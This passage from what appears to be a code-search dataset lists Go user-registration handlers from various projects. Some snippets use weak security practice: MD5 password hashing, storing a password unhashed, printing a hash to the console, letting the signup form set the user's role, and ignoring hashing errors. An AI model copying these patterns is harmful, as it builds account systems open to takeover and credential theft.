(userDetails.Role == \"Admin\" || userDetails.Role == \"admin\"){ \n targettmpl = \"templates/registrationPage.html\" \n }else{\n targettmpl = \"templates/registrationUser.html\" \n }\n\n t := template.Must(template.ParseFiles(targettmpl))\n\n if r.Method != http.MethodPost {\n t.Execute(w, nil)\n return\n }\n \n\n details = helpers.User{\n UserId: r.FormValue(\"userid\"),\n FirstName: r.FormValue(\"fname\"),\n LastName: r.FormValue(\"lname\"),\n Email: r.FormValue(\"email\"),\n Password: r.FormValue(\"pwd\"),\n Role: r.FormValue(\"role\"),\n ManagerID : \"unassigned\",\n }\n \n if details.Role ==\"\" {\n details.Role = \"User\" \n }\n \n msg := dbquery.CheckDuplicateEmail(details.Email)\n\n details.Password, _ = HashPassword(details.Password)\n\n if msg == \"\"{\n fmt.Println(\" **** Inserting a record ****\")\n flag = dbquery.RegisterUser(details)\n } \n\n t.Execute(w, Allinfo{EmailId: details.Email, IssueMsg: msg, SuccessFlag: flag} )\n}", "func AcceptRegisterUser(w http.ResponseWriter, r *http.Request) {\n\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Grab url path variables\n\turlVars := mux.Vars(r)\n\tregUUID := urlVars[\"uuid\"]\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\trefUserUUID := gorillaContext.Get(r, \"auth_user_uuid\").(string)\n\n\tru, err := auth.FindUserRegistration(regUUID, auth.PendingRegistrationStatus, refStr)\n\tif err != nil {\n\n\t\tif err.Error() == \"not found\" {\n\t\t\terr := APIErrorNotFound(\"User registration\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\tuserUUID := uuid.NewV4().String() // generate a new userUUID to attach to the new project\n\ttoken, err := auth.GenToken() // generate a new user token\n\tcreated := time.Now().UTC()\n\t// Get Result Object\n\tres, err := auth.CreateUser(userUUID, ru.Name, ru.FirstName, ru.LastName, ru.Organization, ru.Description,\n\t\t[]auth.ProjectRoles{}, token, ru.Email, []string{}, created, refUserUUID, refStr)\n\n\tif err != nil {\n\t\tif err.Error() == \"exists\" {\n\t\t\terr := APIErrorConflict(\"User\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// update the registration\n\terr = auth.UpdateUserRegistration(regUUID, auth.AcceptedRegistrationStatus, refUserUUID, created, refStr)\n\tif err != nil {\n\t\tlog.Errorf(\"Could not update registration, %v\", err.Error())\n\t}\n\n\t// Output result to JSON\n\tresJSON, err := res.ExportJSON()\n\tif err != nil {\n\t\terr := APIErrExportJSON()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Write response\n\trespondOK(w, []byte(resJSON))\n}", "func handleSignUp(w http.ResponseWriter, r *http.Request) {\n\tif parseFormErr := r.ParseForm(); parseFormErr != nil {\n\t\thttp.Error(w, \"Sent invalid form\", 400)\n\t}\n\n\tname := r.FormValue(\"name\")\n\tuserHandle := r.FormValue(\"userHandle\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\n\tif !verifyUserHandle(userHandle) {\n\t\thttp.Error(w, \"Invalid userHandle\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif !verifyEmail(email) {\n\t\thttp.Error(w, \"Invalid email\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif !verifyPassword(password) {\n\t\thttp.Error(w, \"Password does not meet complexity requirements\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\thashed, _ := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\n\turChannel := make(chan *database.InsertResponse)\n\tgo createUser(\n\t\tmodel.User{Name: name, UserHandle: userHandle, Email: email, Password: hashed},\n\t\turChannel,\n\t)\n\tcreatedUser := <-urChannel\n\n\tif createdUser.Err != nil {\n\t\tlog.Println(createdUser.Err)\n\n\t\tif strings.Contains(createdUser.Err.Error(), \"E11000\") {\n\t\t\tif strings.Contains(createdUser.Err.Error(), \"index: userHandle_1\") {\n\t\t\t\thttp.Error(w, \"Userhandle \"+userHandle+\" already registered\", http.StatusConflict)\n\t\t\t} else {\n\t\t\t\thttp.Error(w, \"Email \"+email+\" already registered\", http.StatusConflict)\n\t\t\t}\n\t\t} else {\n\t\t\tcommon.SendInternalServerError(w)\n\t\t}\n\n\t} else {\n\t\tlog.Println(\"Created user with ID \" + createdUser.ID)\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, wError := w.Write([]byte(\"Created user with ID \" + createdUser.ID))\n\n\t\tif wError != nil {\n\t\t\tlog.Println(\"Error while writing: \" + wError.Error())\n\t\t}\n\t}\n\n}", "func Registration(c echo.Context) error {\n\tu := new(models.User)\n\tif err := c.Bind(u); err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, err.Error())\n\t}\n\t// encrypt password\n\tpassword, err := utils.EncryptPassword(os.Getenv(\"SALT\"), c.FormValue(\"password\"))\n\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, err)\n\t}\n\n\tu.Password = password\n\n\tfmt.Println(password)\n\n\tif res := db.DBCon.Create(u); res.Error != nil {\n\t\treturn c.JSON(http.StatusBadRequest, res.Error)\n\t}\n\treturn c.JSON(http.StatusCreated, u)\n}", "func (u *UserController) CreateUser(c *gin.Context) {\n var user models.UserRegister\n if err := c.ShouldBind(&user); err != nil {\n util.ErrorJSON(c, http.StatusBadRequest, \"Inavlid Json Provided\")\n return\n }\n\n hashPassword, _ := util.HashPassword(user.Password)\n user.Password = hashPassword\n\n err := u.service.CreateUser(user)\n if err != nil {\n util.ErrorJSON(c, http.StatusBadRequest, \"Failed to create user\")\n return\n }\n\n util.SuccessJSON(c, http.StatusOK, \"Successfully Created user\")\n}", "func (s *Service) Register(user User) error {\n\tpassword := user.Password\n\tencrypted, err := s.encrypt.Encrypt(password)\n\tif err != nil {\n\t\tlog.Errorf(\"Password encryption failed: %s\", err)\n\t\treturn ErrCouldNotEncryptPassword\n\t}\n\tuser.Password = encrypted\n\ts.store.SaveUser(user)\n\treturn nil\n}", "func signup(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method != \"POST\" {\n\n\t\tvar data = map[string]interface{}{\n\t\t\t\"Title\": \"Sign Up\",\n\t\t}\n\n\t\terr := templates.ExecuteTemplate(w, \"signup.html\", data)\n\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t}\n\t\treturn\n\n\t}\n\n\t// Define user registration info.\n\tusername := r.FormValue(\"username\")\n\tnickname := r.FormValue(\"nickname\")\n\tavatar := r.FormValue(\"avatar\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\tip := r.Header.Get(\"X-Forwarded-For\")\n\tlevel := \"0\"\n\trole := \"0\"\n\tlast_seen := time.Now()\n\tcolor := \"\"\n\tyeah_notifications := \"1\"\n\n\tusers := QueryUser(username)\n\n\tif (user{}) == users {\n\t\tif len(username) > 32 || len(username) < 3 {\n\t\t\thttp.Error(w, \"invalid username length sorry br0o0o0o0o0o0\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// Let's hash the password. We're using bcrypt for this.\n\t\thashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\n\t\tif len(hashedPassword) != 0 && checkErr(w, r, err) {\n\n\t\t\t// Prepare the statement.\n\t\t\tstmt, err := db.Prepare(\"INSERT users SET username=?, nickname=?, avatar=?, email=?, password=?, ip=?, level=?, role=?, last_seen=?, color=?, yeah_notifications=?\")\n\t\t\tif err == nil {\n\n\t\t\t\t// If there's no errors, we can go ahead and execute the statement.\n\t\t\t\t_, err := stmt.Exec(&username, &nickname, &avatar, &email, &hashedPassword, &ip, &level, &role, &last_seen, &color, &yeah_notifications)\n\t\t\t\tif err != nil {\n\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\n\t\t\t\t}\n\t\t\t\tusers := QueryUser(username)\n\n\t\t\t\tuser := users.ID\n\t\t\t\tcreated_at := time.Now()\n\t\t\t\tnnid := \"\"\n\t\t\t\tgender := 0\n\t\t\t\tregion := \"\" // ooh what if we replace this with a country from a GeoIP later????????????????\n\t\t\t\tcomment := \"\"\n\t\t\t\tnnid_visibility := 1\n\t\t\t\tyeah_visibility := 1\n\t\t\t\treply_visibility := 0\n\n\t\t\t\tstmt, err := db.Prepare(\"INSERT profiles SET user=?, created_at=?, nnid=?, gender=?, region=?, comment=?, nnid_visibility=?, yeah_visibility=?, reply_visibility=?\")\n\t\t\t\tif err != nil {\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\t_, err = stmt.Exec(&user, &created_at, &nnid, &gender, &region, &comment, &nnid_visibility, &yeah_visibility, &reply_visibility)\n\t\t\t\tif err != nil {\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tsession := sessions.Start(w, r)\n\t\t\t\tsession.Set(\"username\", users.Username)\n\t\t\t\tsession.Set(\"user_id\", users.ID)\n\t\t\t\thttp.Redirect(w, r, \"/\", 302)\n\n\t\t\t}\n\n\t\t} else {\n\n\t\t\thttp.Redirect(w, r, \"/signup\", 302)\n\n\t\t}\n\n\t}\n\n}", "func (c *Config) CreateUser(w http.ResponseWriter, r *http.Request) {\n\top := errors.Op(\"handler.CreateUser\")\n\tctx := r.Context()\n\n\tvar payload createUserPayload\n\tif err := bjson.ReadJSON(&payload, r); err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\tif err := valid.Raw(&payload); err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\t// Make sure the user is not already registered\n\tfoundUser, found, err := c.UserStore.GetUserByEmail(ctx, payload.Email)\n\tif err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t} else if found {\n\t\tif !foundUser.IsPasswordSet && !foundUser.IsGoogleLinked && !foundUser.IsFacebookLinked {\n\t\t\t// The email is registered but the user has not setup their account.\n\t\t\t// In order to make sure the requestor is who they say thay are and is not\n\t\t\t// trying to gain access to someone else's identity, we lock the account and\n\t\t\t// require that the email be verified before the user can get access.\n\t\t\tfoundUser.FirstName = payload.FirstName\n\t\t\tfoundUser.LastName = payload.LastName\n\t\t\tfoundUser.IsLocked = true\n\n\t\t\tif err := c.Mail.SendPasswordResetEmail(\n\t\t\t\tfoundUser,\n\t\t\t\tfoundUser.GetPasswordResetMagicLink(c.Magic)); err != nil {\n\t\t\t\tbjson.HandleError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif err := c.UserStore.Commit(ctx, foundUser); err != nil {\n\t\t\t\tbjson.HandleError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbjson.WriteJSON(w, map[string]string{\n\t\t\t\t\"message\": \"Please verify your email to proceed\",\n\t\t\t}, http.StatusOK)\n\t\t\treturn\n\t\t}\n\n\t\tbjson.HandleError(w, errors.E(op,\n\t\t\terrors.Str(\"already registered\"),\n\t\t\tmap[string]string{\"message\": \"This email has already been registered\"},\n\t\t\thttp.StatusBadRequest))\n\t\treturn\n\t}\n\n\t// Create the user object\n\tuser, err := model.NewUserWithPassword(\n\t\tpayload.Email,\n\t\tpayload.FirstName,\n\t\tpayload.LastName,\n\t\tpayload.Password)\n\tif err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\t// Save the user object\n\tif err := c.UserStore.Commit(ctx, user); err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\terr = c.Mail.SendVerifyEmail(user, user.Email, user.GetVerifyEmailMagicLink(c.Magic, user.Email))\n\tif err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\tif err := c.Welcome.Welcome(ctx, c.ThreadStore, c.Storage, user); err != nil {\n\t\tlog.Alarm(err)\n\t}\n\n\tbjson.WriteJSON(w, user, http.StatusCreated)\n}", "func Register(db *gorm.DB, ctx echo.Context, username, email, password string) (*User, error) {\n\treqTimeSec, err := strconv.ParseInt(ctx.Request().Header.Get(\"REQUEST_TIME\"), 10, 64)\n\treqTime := time.Now()\n\tif err == nil {\n\t\treqTime = time.Unix(reqTimeSec, 0)\n\t}\n\n\tip := web.IP(ctx)\n\tlocation := web.Location(ctx, ip)\n\n\tu := &User{\n\t\tUsername: username,\n\t\tEmail: email,\n\t\tPassword: password,\n\t\tCreateIP: ip,\n\t\tCreateLocation: location,\n\t\tLastLoginTime: uint64(reqTime.Unix()),\n\t\tLastLoginIP: ip,\n\t\tLastLoginLocation: location,\n\t}\n\n\terr = db.Save(u).Error\n\treturn u, err\n}", "func (ut *RegisterPayload) Validate() (err error) {\n\tif ut.Email == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"email\"))\n\t}\n\tif ut.Password == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"password\"))\n\t}\n\tif ut.FirstName == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"first_name\"))\n\t}\n\tif ut.LastName == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"last_name\"))\n\t}\n\tif err2 := goa.ValidateFormat(goa.FormatEmail, ut.Email); err2 != nil {\n\t\terr = goa.MergeErrors(err, goa.InvalidFormatError(`type.email`, ut.Email, goa.FormatEmail, err2))\n\t}\n\tif utf8.RuneCountInString(ut.Email) < 6 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.email`, ut.Email, utf8.RuneCountInString(ut.Email), 6, true))\n\t}\n\tif utf8.RuneCountInString(ut.Email) > 150 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.email`, ut.Email, utf8.RuneCountInString(ut.Email), 150, false))\n\t}\n\tif utf8.RuneCountInString(ut.FirstName) < 1 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.first_name`, ut.FirstName, utf8.RuneCountInString(ut.FirstName), 1, true))\n\t}\n\tif utf8.RuneCountInString(ut.FirstName) > 200 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.first_name`, ut.FirstName, utf8.RuneCountInString(ut.FirstName), 200, false))\n\t}\n\tif utf8.RuneCountInString(ut.LastName) < 1 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.last_name`, ut.LastName, utf8.RuneCountInString(ut.LastName), 1, true))\n\t}\n\tif utf8.RuneCountInString(ut.LastName) > 200 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.last_name`, ut.LastName, utf8.RuneCountInString(ut.LastName), 200, false))\n\t}\n\tif utf8.RuneCountInString(ut.Password) < 5 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.password`, ut.Password, utf8.RuneCountInString(ut.Password), 5, true))\n\t}\n\tif utf8.RuneCountInString(ut.Password) > 100 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.password`, ut.Password, utf8.RuneCountInString(ut.Password), 100, false))\n\t}\n\treturn\n}", "func Register(ctx echo.Context) error {\n\treq := new(registerRequest)\n\tif err := ctx.Bind(req); err != nil {\n\t\treturn err\n\t}\n\tuser := User{Username: req.Username, Password: md5Pwd(req.Password), Type: req.Type}\n\terr := db.Model(&User{}).First(&user, &User{Username: req.Username}).Error\n\tif err == gorm.ErrRecordNotFound {\n\t\te := db.Create(&user).Error\n\t\tif e == nil {\n\t\t\tctx.SetCookie(&http.Cookie{Name: cookieKey, Value: user.Base.ID.String()})\n\t\t\treturn ctx.JSON(http.StatusOK, &response{\n\t\t\t\tCode: 0,\n\t\t\t\tMsg: \"\",\n\t\t\t\tData: registerResponse{\n\t\t\t\t\tUsername: user.Username,\n\t\t\t\t\tType: user.Type,\n\t\t\t\t\tID: user.Base.ID,\n\t\t\t\t},\n\t\t\t})\n\t\t}\n\t\treturn e\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tres := &response{\n\t\tCode: 1,\n\t\tMsg: \"User name has been taken\",\n\t}\n\treturn ctx.JSON(http.StatusBadRequest, res)\n}", "func (p *PasswordStruct) Save() error {\n\terr := ioutil.WriteFile(path, p.hash, 0700)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *Signup) Save(db XODB) error {\n\tif s.Exists() {\n\t\treturn s.Update(db)\n\t}\n\n\treturn s.Insert(db)\n}", "func (ar *Router) RegisterWithPassword() http.HandlerFunc {\n\n\ttype registrationData struct {\n\t\tUsername string `json:\"username,omitempty\" validate:\"required,gte=6,lte=50\"`\n\t\tPassword string `json:\"password,omitempty\" validate:\"required,gte=7,lte=50\"`\n\t\tProfile map[string]interface{} `json:\"user_profile,omitempty\"`\n\t\tScope []string `json:\"scope,omitempty\"`\n\t}\n\n\ttype registrationResponse struct {\n\t\tAccessToken string `json:\"access_token,omitempty\"`\n\t\tRefreshToken string `json:\"refresh_token,omitempty\"`\n\t\tUser model.User `json:\"user,omitempty\"`\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t//parse data\n\t\td := registrationData{}\n\t\tif ar.MustParseJSON(w, r, &d) != nil {\n\t\t\treturn\n\t\t}\n\n\t\t//validate password\n\t\tif err := model.StrongPswd(d.Password); err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\t//create new user\n\t\tuser, err := ar.userStorage.AddUserByNameAndPassword(d.Username, d.Password, d.Profile)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\t//do login flow\n\t\tscopes, err := ar.userStorage.RequestScopes(user.ID(), d.Scope)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\tapp := appFromContext(r.Context())\n\t\tif app == nil {\n\t\t\tar.logger.Println(\"Error getting App\")\n\t\t\tar.Error(w, ErrorRequestInvalidAppID, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\ttoken, err := ar.tokenService.NewToken(user, scopes, app)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusUnauthorized, \"\")\n\t\t\treturn\n\t\t}\n\n\t\ttokenString, err := ar.tokenService.String(token)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\treturn\n\t\t}\n\n\t\trefreshString := \"\"\n\t\t//requesting offline access ?\n\t\tif contains(scopes, model.OfflineScope) {\n\t\t\trefresh, err := ar.tokenService.NewRefreshToken(user, scopes, app)\n\t\t\tif err != nil {\n\t\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\trefreshString, err = ar.tokenService.String(refresh)\n\t\t\tif err != nil {\n\t\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tuser.Sanitize()\n\n\t\tresult := registrationResponse{\n\t\t\tAccessToken: tokenString,\n\t\t\tRefreshToken: refreshString,\n\t\t\tUser: user,\n\t\t}\n\n\t\tar.ServeJSON(w, http.StatusOK, result)\n\t}\n}", "func Register(w http.ResponseWriter, r *http.Request) {\n\tvar dataResource UserResource\n\t//Decode the incoming User json\n\n\terr := json.NewDecoder(r.Body).Decode(&dataResource)\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid User data\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t}\n\tuser := &dataResource.Data\n\tcontext := NewContext()\n\tdefer context.Close()\n\n\tc := context.DbCollection(\"users\")\n\trepo := &data.UserRespository{c}\n\n\t//insert User document\n\trepo.CreateUser(user)\n\t//Clean-up the hashpassword to eliminate it from response\n\tuser.HashPassword = nil\n\n\tif j, err := json.Marshal(UserResource{Data: *user}); err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"An unexpected error has occurred\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusCreated)\n\t\tw.Write(j)\n\t}\n\n}", "func Register(login string, email string, pass string) map[string]interface{} {\n\tvalid := helpers.Validation(\n\t\t[]interfaces.Validation{\n\t\t\t{Value: login, Valid: \"login\"},\n\t\t\t{Value: email, Valid: \"email\"},\n\t\t\t{Value: pass, Valid: \"password\"},\n\t\t})\n\tif valid {\n\t\tdb := helpers.ConnectDB()\n\t\tgeneratedPassword := helpers.HashAndSalt([]byte(pass))\n\t\tuser := &interfaces.User{Login: login, Email: email, Password: generatedPassword}\n\t\tdb.Create(&user)\n\n\t\tnow := time.Now()\n\t\tstatus := getStatus(\"https://google.pl\")\n\t\tuserlink := &interfaces.UserLink{Link: \"https://google.pl\", Status: status, Time: now, UserId: user.ID}\n\t\tdb.Create(&userlink)\n\n\t\tdefer db.Close()\n\n\t\tuserlinks := []interfaces.ResponseLink{}\n\t\trespLink := interfaces.ResponseLink{ID: userlink.ID, Link: userlink.Link, Status: userlink.Status, Time: userlink.Time}\n\t\tuserlinks = append(userlinks, respLink)\n\t\tvar response = prepareResponse(user, userlinks, true)\n\n\t\treturn response\n\n\t} else {\n\t\treturn map[string]interface{}{\"message\": \"not valid values\"}\n\t}\n}", "func (m *Credential) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "func Register(w http.ResponseWriter, r *http.Request, opt router.UrlOptions, sm session.ISessionManager, s store.IStore) {\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tparams := make(map[string]interface{})\n\t\tutils.RenderTemplate(w, r, \"register\", sm, s, params)\n\n\tcase \"POST\":\n\t\tvar newUser *user.User\n\n\t\tdfc := s.GetDataSource(\"persistence\")\n\n\t\tp, ok := dfc.(persistence.IPersistance)\n\t\tif !ok {\n\t\t\tutl.Log(\"Invalid store\")\n\t\t\treturn\n\t\t}\n\n\t\tc := p.GetCollection(\"users\")\n\n\t\tnewUser = &user.User{\n\t\t\tID: bson.NewObjectId(),\n\t\t\tUsername: r.PostFormValue(\"username\"),\n\t\t\tPassword: utils.HashString(r.PostFormValue(\"password\")),\n\t\t}\n\n\t\terr := c.Insert(newUser)\n\t\tif err != nil {\n\t\t\tutl.Log(err)\n\t\t}\n\n\t\tutl.Log(\"Registered user\", newUser)\n\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\tdefault:\n\t}\n}", "func RegisterUser(c *gin.Context) {\n\t// Check Password confirmation\n\tpassword := c.PostForm(\"password\")\n\tconfirmedPassword := c.PostForm(\"confirmed_password\")\n\ttoken, _ := RandomToken()\n\n\t// Return Error if not confirmed\n\tif password != confirmedPassword {\n\t\tc.JSON(500, gin.H{\n\t\t\t\"status\": \"error\",\n\t\t\t\"message\": \"password not confirmed\"})\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\t// Hash the password\n\thash, _ := HashPassword(password)\n\n\t// Get Form\n\titem := models.User{\n\t\tUserName: c.PostForm(\"user_name\"),\n\t\tFullName: c.PostForm(\"full_name\"),\n\t\tEmail: c.PostForm(\"email\"),\n\t\tPassword: hash,\n\t\tVerificationToken: token,\n\t}\n\n\tif err := config.DB.Create(&item).Error; err != nil {\n\t\tc.JSON(500, gin.H{\n\t\t\t\"status\": \"error\",\n\t\t\t\"message\": err})\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\t// I want to send email for activation\n\n\tc.JSON(200, gin.H{\n\t\t\"status\": \"successfuly register user, please check your email\",\n\t\t\"data\": item,\n\t})\n}", "func (u *UsersController) Create(ctx *gin.Context) {\n\tvar userJSON tat.UserCreateJSON\n\tctx.Bind(&userJSON)\n\tvar userIn tat.User\n\tuserIn.Username = u.computeUsername(userJSON)\n\tuserIn.Fullname = strings.TrimSpace(userJSON.Fullname)\n\tuserIn.Email = strings.TrimSpace(userJSON.Email)\n\tcallback := strings.TrimSpace(userJSON.Callback)\n\n\tif len(userIn.Username) < 3 || len(userIn.Fullname) < 3 || len(userIn.Email) < 7 {\n\t\terr := fmt.Errorf(\"Invalid username (%s) or fullname (%s) or email (%s)\", userIn.Username, userIn.Fullname, userIn.Email)\n\t\tAbortWithReturnError(ctx, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tif err := u.checkAllowedDomains(userJSON); err != nil {\n\t\tctx.JSON(http.StatusForbidden, gin.H{\"error\": err.Error()})\n\t\treturn\n\t}\n\n\tuser := tat.User{}\n\tfoundEmail, errEmail := userDB.FindByEmail(&user, userJSON.Email)\n\tfoundUsername, errUsername := userDB.FindByUsername(&user, userJSON.Username)\n\tfoundFullname, errFullname := userDB.FindByFullname(&user, userJSON.Fullname)\n\n\tif foundEmail || foundUsername || foundFullname || errEmail != nil || errUsername != nil || errFullname != nil {\n\t\te := fmt.Errorf(\"Please check your username, email or fullname. If you are already registered, please reset your password\")\n\t\tAbortWithReturnError(ctx, http.StatusBadRequest, e)\n\t\treturn\n\t}\n\n\ttokenVerify, err := userDB.Insert(&userIn)\n\tif err != nil {\n\t\tlog.Errorf(\"Error while InsertUser %s\", err)\n\t\tctx.AbortWithError(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tgo userDB.SendVerifyEmail(userIn.Username, userIn.Email, tokenVerify, callback)\n\n\tinfo := \"\"\n\tif viper.GetBool(\"username_from_email\") {\n\t\tinfo = fmt.Sprintf(\" Note that configuration of Tat forced your username to %s\", userIn.Username)\n\t}\n\tctx.JSON(http.StatusCreated, gin.H{\"info\": fmt.Sprintf(\"please check your mail to validate your account.%s\", info)})\n}", "func createUser(c *gin.Context) {\n password,_ := HashPassword(c.PostForm(\"password\"))\n\tuser := user{Login: c.PostForm(\"login\"), Password: password}\n\tdb.Save(&user)\n\tc.JSON(http.StatusCreated, gin.H{\"status\": http.StatusCreated, \"message\": \"User item created successfully!\"})\n}", "func register(w http.ResponseWriter, r *http.Request) {\n\tsetHeader(w)\n\tif (*r).Method == \"OPTIONS\" {\n\t\tfmt.Println(\"Options request discard!\")\n\t\treturn\n\t}\n\tpwd := os.Getenv(\"PWD\")\n\tfmt.Println(\"current path\", pwd)\n\tvar registerInfo = RegisterInfo{}\n\terr := json.NewDecoder(r.Body).Decode(&registerInfo)\n\tif err != nil {\n\t\tfmt.Println(\"failed to decode\", err)\n\t\treturn\n\t}\n\t//转为绝对路径\n\tregisterInfo.MSPDir = pwd + registerInfo.MSPDir\n\tregisterInfo.PathOfCATLSCert = pwd + registerInfo.PathOfCATLSCert\n\n\tfmt.Println(\"registering\", registerInfo.Username)\n\turl := fmt.Sprintf(\"https://%s\",\n\t\tregisterInfo.Address)\n\n\terr, wout := runCMD(\"fabric-ca-client\", \"register\",\n\t\t\"--id.name\", registerInfo.Username,\n\t\t\"--id.secret\", registerInfo.Password,\n\t\t\"--id.type\", registerInfo.Type,\n\t\t\"--url\", url,\n\t\t\"--mspdir\", registerInfo.MSPDir,\n\t\t\"--tls.certfiles\", registerInfo.PathOfCATLSCert)\n\tif err != nil {\n\t\tjson.NewEncoder(w).Encode(string(wout.Bytes()))\n\t\treturn\n\t}\n\n\tsuccess := Success{\n\t\tPayload: string(wout.Bytes()),\n\t\tMessage: \"200 OK\",\n\t}\n\tjson.NewEncoder(w).Encode(success)\n\treturn\n}", "func RegisterNewUser(c *soso.Context) {\n\treq := c.RequestMap\n\trequest := &auth_protocol.NewUserRequest{}\n\n\tif value, ok := req[\"source\"].(string); ok {\n\t\trequest.Source = value\n\t}\n\n\tif value, ok := req[\"phone\"].(string); ok {\n\t\trequest.PhoneNumber = value\n\t}\n\n\tif value, ok := req[\"instagram_username\"].(string); ok {\n\t\tvalue = strings.Trim(value, \" \\r\\n\\t\")\n\t\tif !nameValidator.MatchString(value) {\n\t\t\tlog.Debug(\"name '%v' isn't valid\", value)\n\t\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"Invalid instagram name\"))\n\t\t\treturn\n\t\t}\n\t\trequest.InstagramUsername = value\n\t}\n\n\tif value, ok := req[\"username\"].(string); ok {\n\t\tvalue = strings.Trim(value, \" \\r\\n\\t\")\n\t\tif !nameValidator.MatchString(value) {\n\t\t\tlog.Debug(\"name '%v' isn't valid\", value)\n\t\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"Invalid user name\"))\n\t\t\treturn\n\t\t}\n\t\trequest.Username = value\n\t}\n\n\tif request.InstagramUsername == \"\" && request.Username == \"\" {\n\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"User name or instagram name is required\"))\n\t\treturn\n\t}\n\n\tif request.PhoneNumber == \"\" {\n\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"User phone number is required\"))\n\t\treturn\n\t}\n\n\tctx, cancel := rpc.DefaultContext()\n\tdefer cancel()\n\tresp, err := authClient.RegisterNewUser(ctx, request)\n\n\tif err != nil {\n\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, err)\n\t\treturn\n\t}\n\n\tc.SuccessResponse(map[string]interface{}{\n\t\t\"ErrorCode\": resp.ErrorCode,\n\t\t\"ErrorMessage\": 